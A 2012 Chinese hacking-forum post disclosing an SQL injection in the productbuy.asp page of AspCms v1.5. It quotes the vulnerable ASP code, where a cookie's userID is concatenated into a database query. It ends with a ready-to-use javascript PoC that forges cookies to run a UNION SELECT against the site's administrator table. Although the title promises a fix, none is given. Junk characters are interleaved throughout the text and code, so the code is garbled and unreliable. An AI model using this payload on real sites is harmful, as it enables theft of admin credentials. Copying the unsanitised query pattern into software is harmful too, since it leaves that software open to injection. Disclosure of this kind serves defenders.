找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2239|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....; F  I/ }) t) \7 U' W1 `
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。$ u) c/ r& F2 R; q3 [' b# l
废话不多说,看代码:; H: I$ }8 R: c9 W* Y6 d7 I% ~
+ X3 g0 _% ?8 ]/ g( Q
<%& L+ @$ e8 D; C& q$ b

5 ^6 Y7 _* a+ P( o8 U( X: t5 i( sif action = "buy" then2 F$ c! S( i/ \& o3 }
5 }( Y! p$ j7 a1 d! F7 O7 a1 u$ ~  u
        addOrder()
* O$ P6 h$ b+ j1 O  h& C$ V
# l* N/ g# }* |' V  y4 lelse8 H6 K5 s  `  F( l& A8 h3 t

) b8 A* {4 R6 j, {( h; [1 [0 a% u        echoContent()
& Z& p8 y& ^0 X0 V& d  d
* g* R3 y0 ?2 A$ Gend if6 F$ j& M4 d# Q5 v* e

% y+ ?- g7 B2 G, x' g4 l- n1 Y: H3 q6 h; U

6 d6 j: h( ]5 z  w4 B3 ^0 o8 I……略过, ^  d& P  w, T4 A/ q8 L2 g9 @8 d
; \- v' s8 A0 A: i" p9 x
# \4 u+ v. D, D4 d( P
% I1 g' W; |4 W, s- I7 o5 {) }# w
Sub echoContent()
& D# T2 x  n& P* p
& O( a4 |7 S( [" i% _        dim id
' @& L( @& I0 d- B0 o5 s  A- e
! o) R6 L# `+ z3 A6 g5 C        id=getForm("id","get")
1 O5 B: j% g% N4 `' o& z1 J/ v) U; E& w3 H0 {8 A, @
        
$ o: x; I, G# f4 ]
! T$ U* e: F" v* `! A8 b' E" \  @        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" 2 H! V' d' _5 s! g, B. ?1 l

4 z) x+ F7 s1 g        - P  `. h' y+ r1 t  A

- q  }+ o) a0 d/ L; D' U9 v        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
# Q' Y. h' h# r  V+ W, M- X. @
( q5 a" o8 r7 g* x; ?# |        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct2 f# y  C; j9 M5 G# ?' Q

" @1 F& Z: D( l' f4 z7 C        Dim templatePath,tempStr
1 }' m8 n( ]2 I7 r) J0 P* j9 f# }. s
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"% }8 ]( G) U: N# f0 |+ C2 o' f5 W. r
, ?* I* \0 e, q/ j) H) m9 M: ~
, }; N( c: {7 O1 A6 L4 D

+ k4 v3 P- r! }# Z: X! B" }8 J) \        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")- W1 I* m5 {* f1 _, c7 Z

$ b' h1 V! D: G( l( [3 ^, i4 y        selectproduct=rsObj(0)9 a$ S3 o, k7 e# e- E
; J0 ?; L0 B3 B) B
        2 v3 q+ k; \( J

3 [' l! @4 r2 W. E        Dim linkman,gender,phone,mobile,email,qq,address,postcode
+ m6 E( Q: ?+ ]" j8 z! b' p! Y9 a
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
$ k* S' G( b5 I( i4 i- Y
$ v2 q7 L2 o) \# _        if rCookie("loginstatus")=1 then  - g& f( W/ \3 A" h4 |6 {
- {, `1 R8 Y' u7 d- \. ?' W
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
% P& Q2 b( w: J/ G
& {8 r* g' H% T2 x8 S# i5 D                linkman=rsObj("truename"): Z8 H& W) d" q) _* E/ v; r

5 D3 L  }0 Z; R' j6 R                gender=rsObj("gender")
1 `4 }3 @! O/ }% \9 d1 ]5 s% U
: S4 s* R8 M5 J6 h+ Y$ p0 F7 V( \                phone=rsObj("phone")
5 B& ^5 `% g4 A! I1 H
& h( }, ~8 r" q( E                mobile=rsObj("mobile")
) m# r1 x6 u5 o0 Q* Q8 U9 X) g, W7 g- n. z
                email=rsObj("email")
4 u. Y1 z7 W1 V7 ?8 m
8 L+ K) G- O* [                qq=rsObj("qq")
- B/ h* c/ p0 g7 G9 K
# K% Y  h  D9 w0 M9 q! Z                address=rsObj("address"). j& X4 k8 d; u1 j$ a

3 I2 p/ T, I3 I8 K0 H/ K; }/ W                postcode=rsObj("postcode")
4 {4 B3 M- M1 {! O3 M# W4 f% O- j0 L# c/ }0 V/ s. y
        else
* l  M1 h' g3 o2 ~  _2 K
  a# H  k/ m, G- f) h                gender=19 k/ P" E  s/ j, \, f9 r. S2 j0 j
6 D3 ?8 u0 m% I5 `0 I1 k4 p
        end if  r) D& _( e. N2 H2 g; k. I
0 m* G# @* c- L5 J9 q' L3 v
        rsObj.close()
- w0 C$ G6 X! i/ j1 t8 S  s) f. g& D
               
6 S5 S0 Y. b+ q+ u# l, u* [
# H! n4 O1 K& p; G9 }        with templateObj
% O3 W& Y3 L( w' N% z" T; O2 T
. }, b5 J% t+ q; z. C; }' F. Q4 `                .content=loadFile(templatePath)        
$ ]* [% ~* L2 ^% s# K1 m, Q9 M# M
                .parseHtml()
" r' X( _, A9 N& G' x7 E& Y9 S" t/ N% m3 n! m) Q  n
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)3 X% Q6 X7 q& D: ~) Q

2 H6 x) b8 x' C* i9 k                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                # G1 C. e0 R' g
+ j6 f- G: y3 H* |
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
" T7 e! b. p. C" u1 [5 v. |( O2 I/ }" L* S, `' C. z
                .content=replaceStr(.content,"[aspcms:phone]",phone)                ) Z1 C* E  M! {$ w6 S
+ M8 h2 D; Q1 E/ D! h+ Y- u# T
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
/ r; }- F; u6 A* x# S
1 O$ L* U. _; D" j! \                .content=replaceStr(.content,"[aspcms:email]",email)                        
) I/ R' C# W. [
1 s8 p% i3 P, Q' G4 U; O5 h                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
  i1 I0 q. S" q  d* i1 A+ j9 S% a9 Z# `2 V9 k- {# M, S
                .content=replaceStr(.content,"[aspcms:address]",address)                        
  a! H4 B& _/ r" S9 j1 D" c8 B/ I* H6 f5 i! D
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        # B" s6 x0 z6 C  `. Y
' t: V8 D  z  H
                .parseCommon()                 6 O  ~, _, t+ f* `5 K

+ Q# U/ G8 l$ s4 F, B5 G/ F. h0 V                echo .content # X# m* c6 }# D+ }! _( z! Y% R

% k; T& V. e2 Y        end with
5 F; h) X- ~* U* A: j# f! m) O) d
, C5 K! u3 {8 \7 e        set templateobj =nothing : terminateAllObjects( u" \1 ?1 f( x: w0 ~: K
, y+ K, A) I- h! [7 ~" E2 m
End Sub
4 O$ k4 m7 C* u/ O! W漏洞很明显,没啥好说的  ]- _7 u7 p6 ^) o# a2 a
poc:
! O$ `; B( E2 |% j9 t: ^
$ r% X4 S) o1 x+ Njavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​, y" Q* C; K2 e/ t- E
3 e3 x- j. y3 P6 Q5 o: b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表